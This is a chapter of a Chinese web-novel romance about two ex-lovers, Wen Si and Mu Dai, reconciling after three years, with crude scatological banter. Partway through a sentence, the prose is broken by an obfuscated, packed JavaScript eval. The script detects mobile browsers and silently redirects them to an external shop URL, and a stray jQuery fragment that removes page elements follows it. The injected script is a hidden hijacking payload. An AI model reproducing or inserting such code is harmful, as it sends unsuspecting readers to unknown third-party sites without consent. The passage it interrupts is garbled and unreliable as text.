久别重逢的第一面是不是都应该平淡点,缓一缓,要经过反复试探确认完心意才能勇敢迈出那一步。
是这样吗。
可温寺向来是个急性子,她遇事就退的习惯和她得寸进尺的能力不相上下。
慕岱不出现的时候她还能继续安安心心地做别的研究,但他回来了。如果他坐完车就走,温寺也会因他的冷淡退缩些许,可他回过头看了她一眼。
过去平淡的三年在此刻忽然变得极为难熬,连带着往后的日子一起,每一天都被拉得格外漫长。
在慕岱问她要不要上去坐坐时,温寺用力点了点头。这一动作让她眼眶里的泪啪嗒啪嗒掉了一串下来,慕岱安静地看了会,转身便走,温寺连忙擦着眼泪跟上。
这间公寓温寺之前没来过,见她在门口有些踌躇,慕岱将每个房间的灯都打开,说随便坐。
说是坐坐,还真就只是坐着,两人干巴巴地面对面,也没人装模作样地说一句好久不见。温寺哭时慕岱就看着她哭,一动不动地注视着她。
等温寺哭累后,门铃响了,慕岱出去拿了杯奶茶进来,插好吸管放温寺手边。
温寺慢慢喝了口,像汲取了勇气一般,主动打开了话头,聊起这几年的事。
慕岱没说话,只是听她讲,等温寺说完眼巴巴地看着他时,他才不咸不淡地说了句,“挺好的。”
温寺目光黯淡下来,又缩了回去。
“为什么选了人工智能的方向?”慕岱想起她们团队的核心主题,“你之前说让我等你几年是等这些机器人?”
温寺说是,“因为这个原因选的专业。”
“……你觉得我需要的是这种陪伴?”
“机器人是代替我的,它去和别人交际、吵架,我留在家里陪你。”
慕岱一愣过后有些无语,“你觉得机器人能做好那些事?”
温寺蔫不拉几地摇头,“目前不能,进展比我预计的要慢。”
慕岱刚要冷嘲热讽几句,就听温寺又开了口,“可是我也不一定能做好。我们之间的事,我就搞砸了。”
刺人的话便没说出来。
温寺握了握手指,抓紧,她低头喝了口奶茶,在慕岱的目光中抬头看过去,“我……我从小不在妈妈身边长大,他们工作很忙,我一直住在别人家里。”
“和你哥一起?”
温寺安静了会,“只有我,哥哥跟着妈妈爸爸。”
慕岱那张脸上总算有了表情,眉心狠狠皱了下,“他们怎么这样?”
温寺看他会,弯了弯眼,跟着他说,“是啊,他们怎么这样。”
说完她的眼皮慢慢耷拉下去,“我是在这样的环境里长大的。我周围的所有人,无论是妈妈,爸爸,哥哥,还是同一屋檐下的人,大家都有自己的事情要做,没有谁会一直陪着另一个人。”甚至连陪伴都不一定有。
“在我这里,喜欢是不等于一直陪伴的,因为以前我不想承认……”温寺顿了下,还是把话说完,“不想承认自己不被喜欢。所以,如果我喜欢你,我也是不会一直陪着你的。就算妈妈回来了,如果那天学校有课,我也会选择上完课再回家。”
慕岱不说话,温寺看不清他眼里的情绪,就不看了,继续说,“我胆子小,不爱说话。”
慕岱嘴上没讲,心里却在反驳,不小。他没打断温寺一点一点的陈述,静静地听着这段迟了三年的话。
“我不敢和你说话,酒吧里见到你以后,你来教室的几次,我都没敢靠近你,哪怕只是交朋友,你一拒绝我就会逃避,更别提说我喜欢你。当时……你看到我以后移开目光,在我这里也是拒绝的意思。许愿,当痔疮,是那个时候的我觉得最恰当的方式了。”
慕岱嗤了声,“不敢搭话,敢说屎尿屁?”
温寺沉默了会,“我以为这样目的性没那么强。”
慕岱站起来,屈身靠近,手指在温寺脑门上用力弹了下,然后面无表情地坐回去,“继续说。”
“疼。”
“该。”
两人之间依旧隔着泾渭分明的楚河汉界,茶几上空荡荡的只有一杯奶茶。
温寺给自己续了几口,“你说我不需要你的陪伴。我需要的。你说我不够喜欢你,我没有,我……”
慕岱:“慢点说。”
温寺缓了几下:“去年妈妈不忙了,说要带我去玩,我没有去。我一直在社团,想早点有能力去找你。我不知道该怎么证明我的喜欢,如果每个人的感情都能显化出具体的数值就好了。”
“囚禁的事,是因为你不理我了,我忍不住……”温寺低下头,“对不起,我总是很心急。”
慕岱看上去依旧无动于衷:“分手时怎么不说?”
温寺:“我没有想好该怎么说,不知道如何开口,后面我整理完答案,想联系你,但我不知道告诉你以后我们要怎么办,那些问题没有解决,你要的陪伴我还是给不了,我不想强迫你理解我。”
慕岱哦了一声,啪啪鼓掌:“真无私,真有责任感。”
阴阳怪气完,他又问,“现在怎么说了?”
“你回来了,还邀请我上来,”温寺低头拨弄着手指,“我不想你走。”哪怕研究进程并不理想,她也冲动地将那些整理完的答案全盘托出了。
慕岱:“我只是邀请你进来坐,没打算听你这些陈年的肺腑之言。”
“……”温寺动了动嘴唇,低下头,几口将杯中的奶茶全部喝完,慕岱以为她是准备离开了,冷眼看她将里面的小料一并吸完,等来的却不是对方要走的消息。
温寺鼓起勇气看他,又开口了,“你之前说我,可我觉得你也不够喜欢我。”
慕岱盯她片刻,忽然笑了,是气的,嗓音冷淡地问,“说说,从哪看出来的。”
“你不给我看你用过的厕纸,不让我看你拉出来的屎,我说什么你都不愿意,在你心里它们比我重要多了。”温寺眼圈一周红了透,显而易见是真的伤心。
慕岱脸上强装的淡定摇摇欲坠,硬声硬气道,“……你正常一点。”
温寺抿紧唇,不愿意了,“你要我一直陪着你,我也没说让你正常点。”
“……”
慕岱的表情有些难看,像吃了屎,他忍了忍,打算息事宁人,不再继续这个话题。
可温寺却不依不饶起来,眼泪又开始往下掉,“你就是没那么喜欢我,上次非要去清理,还说喷屎就杀了我。你只在意你的屎。”
三年不见真是出息了,哭着还能把话说清楚。
慕岱额头青筋狂跳,径直跨过茶几半跪在温寺旁边的沙发上,怒气冲冲地去捂她的嘴,“不许说了!”
温寺把他的手往下扯,“我要说,你为什么不让我看。”
慕岱咬牙切齿地箍紧温寺的下巴,“我要是问你,你能给我看?”
温寺口齿含糊,委屈巴巴地挤出字,“能,你比屎重要……”
“……温寺!”
慕岱恼羞成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17869068|209828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怒地喊她名字,语气过于熟稔仿佛这缺失的几年根本不存在那般,说完两个人都愣了片刻。温寺仰着头,眼底又湿了,像是被那一声吼哭的。
慕岱顿了会,忽然俯下身,几乎贴上温寺的脸,他手指力道不重,却稳稳地攥住了温寺的下巴,“几年不见,说话功夫长进这么大?要是有穿越你都能直接去劝架了,我吵一句你顶一句。”
温寺近距离地看着慕岱的眼睛,忽然说道,“如果……那个时候,我把刚才的解释都说出来,你会更生气吗?”
慕岱毫不犹豫道,“会。”
温寺垮脸,“……现在呢,也生气吗?”
慕岱:“会。”
温寺什么也不管了,自顾自地去抱慕岱的腰,谁让他自己来跪在这的。这一抱严严实实的,她自暴自弃地闭上眼,“你把我打死吧。”
等了好一会都没被推开。
温寺听着慕岱的心跳,缓慢地睁开眼,对上他安静的目光。有一瞬间,温寺觉得他仿佛要亲下来,但慕岱只是维持着同一个姿势,没更进一步,也没推开她。
这说不清道不明的纵容又给了温寺勇气,她松手去抓慕岱的手腕,“其实我的接吻技术也有长进。”
慕岱眼皮一掀,“和谁练的?”
“自学,”温寺仰着下巴,这种话说出口时还有些颤抖,“要试试吗?”
慕岱居高临下地看她片刻,俯身亲来。
过了会,慕岱捂着唇边溢出的血,指着温寺怒道,“你放屁!明明一点都没长进!!”
温寺自认为有进步,好脾气地不反驳,她去抹慕岱下巴上的血迹,手刚伸出去慕岱就把他的放下了。
温寺轻轻地擦去那抹艳红,她的目光沉寂片刻,忽然问道,“我们还能在一起吗?”
慕岱没说话,只是重新探身去亲她。
温寺挡住慕岱的动作,“你要陪伴,等等我好不好,等我几年。三代机器人一定能研发出来的,我……”
温寺的眼泪砸到慕岱手腕,这道声音总算有了熟悉的哭腔,“我可以一直陪着你的。”
慕岱用指腹擦她眼泪,却意外将这片湿痕涂了满脸,他动作一顿,低声道,“别说了。”
“你会等我吗?”温寺执着地又问一遍。
慕岱沉默片刻:“不等了。”
如果就这样揭过,他对得起三年前的慕岱吗?
……去死吧,现在的他又不是三年前的他。
对得起这三年在异国艰难生存的慕岱吗?
……一个人就过得很好吗?到底是谁在自欺欺人,自以为走出来了。也死去吧。
更让慕岱在意的是,久别重逢的第一面,没有什么刻骨铭心的车祸绝症看淡生死,也没有轰轰烈烈的爱恨情仇复演,甚至只是几句话的功夫就轻易答应和好、原谅了三年前的崩溃,会不会太惯着温寺了?她会不会又趁机提出一些无理的要求?
听到拒绝,温寺忍不住发出一声抽泣,又很快压住了,憋着的难过像是要满腔涌出,她将头仰了仰,眼泪没像书里说的那样憋回来,而是从侧面滴了下去。
“其实,”慕岱看着她,说,“这几年我变了不少,没那么需要陪伴了。”
所以她不用等。他也不用等。
温寺还在愣怔当中,大脑慢半拍地开始处理信息,没反应过来的眼泪被慕岱用手接住。他瞪着温寺,恶声恶气地强调,“我只是答应和你在一起,没说原谅你!”
他才不惯着温寺。